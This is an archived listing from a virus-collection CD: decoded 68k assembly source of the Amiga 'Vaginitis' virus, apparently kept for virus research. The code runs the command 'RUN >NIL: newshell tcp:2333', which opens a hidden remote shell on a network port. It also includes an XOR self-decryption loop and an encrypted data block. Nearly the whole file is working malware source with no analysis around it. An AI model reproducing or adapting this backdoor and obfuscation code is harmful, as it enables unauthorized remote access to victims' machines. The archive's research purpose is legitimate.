home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusResearch / Vaginitis / Vaginiti.lha / vaginitis_3_decoded.asm < prev    next >
Assembly Source File  |  1999-02-05  |  1KB  |  87 lines
  1.  
  2. _LVOUnLockDosList    EQU    -$294
  3. _LVOSupervisor    EQU    -$1E
  4. _LVOOpen    EQU    -$1E
  5. _LVOCloseLibrary    EQU    -$19E
  6. _LVOFindDosEntry    EQU    -$2AC
  7. _LVOExecute    EQU    -$DE
  8. _LVOLockDosList    EQU    -$28E
  9. _LVOClose    EQU    -$24
  10. ****************************************************************************
  11.     MOVEM.L    D0-D7/A0-A6,-(SP)
  12.     MOVEA.L    (4).W,A6
  13.     BSR.W    lbC0000C8
  14. lbC00000C    MOVEQ    #4,D0
  15.     JSR    (-$32A,A6)
  16.     MOVEA.L    D0,A5
  17.     MOVEQ    #5,D1
  18.     JSR    (_LVOLockDosList,A5)
  19.     MOVE.L    D0,D5
  20.     BEQ.B    lbC000080
  21.     MOVE.L    D5,D1
  22.     BSR.B    lbC000026
  23.     MOVEQ    #$63,D2
  24.     MOVEQ    #0,D0
  25. lbC000026    MOVE.L    (SP)+,D2
  26.     MOVEQ    #4,D3
  27.     JSR    (_LVOFindDosEntry,A5)
  28.     MOVE.L    D0,D4
  29.     MOVEQ    #5,D1
  30.     JSR    (_LVOUnLockDosList,A5)
  31.     TST.W    D4
  32.     BEQ.B    lbC000080
  33.     BSR.B    lbC000042
  34.     TRAP    #9
  35.     dw    $4C3A
  36.     dw    0
  37.  
  38. lbC000042    MOVE.L    (SP)+,D1
  39.     MOVE.L    #$3EE,D2
  40.     JSR    (_LVOOpen,A5)
  41.     MOVE.L    D0,D5
  42.     BEQ.B    lbC000080
  43.     BSR.B    lbC000070
  44.     db    'RUN >NIL: newshell tcp:2333',0
  45.  
  46. lbC000070    MOVE.L    (SP)+,D1
  47.     MOVEQ    #0,D2
  48.     MOVE.L    D5,D3
  49.     JSR    (_LVOExecute,A5)
  50.     EXG    D1,D5
  51.     JSR    (_LVOClose,A5)
  52. lbC000080    EXG    A5,A1
  53.     JSR    (_LVOCloseLibrary,A6)
  54.     BRA.B    lbC0000C0
  55.  
  56. lbL000088    dl    $829A95EE
  57.     dl    $A1BCB4BD
  58.     dl    $B4A0A5BD
  59.     dl    $F198B0A9
  60.     dl    $B8A0B8BA
  61.     dl    $B8BDF1ED
  62.     dl    $E2EEFCE3
  63.     dl    $FCEEB5A7
  64.     dl    $B5EEA8A1
  65.     dl    $A4EEB7A7
  66.     dl    $BFAAF1FF
  67.     dl    $F1AFBFAA
  68.     dl    $F1FCF1B7
  69.     dl    $B4BAEECE
  70.  
  71. lbC0000C0    BSR.B    lbC0000C8
  72.     MOVEM.L    (SP)+,D0-D7/A0-A6
  73.     RTS
  74.  
  75. lbC0000C8    LEA    (lbC00000C,PC),A0
  76.     LEA    (lbL000088,PC),A1
  77.     dw    $303C
  78.  
  79. lbC0000D2    ADDA.L    A6,A0
  80. lbC0000D4    EOR.W    D0,(A0)+
  81.     CMPA.L    A0,A1
  82.     BNE.B    lbC0000D4
  83.     JSR    (-$27C,A6)
  84.     RTS
  85.  
  86.     end
  87.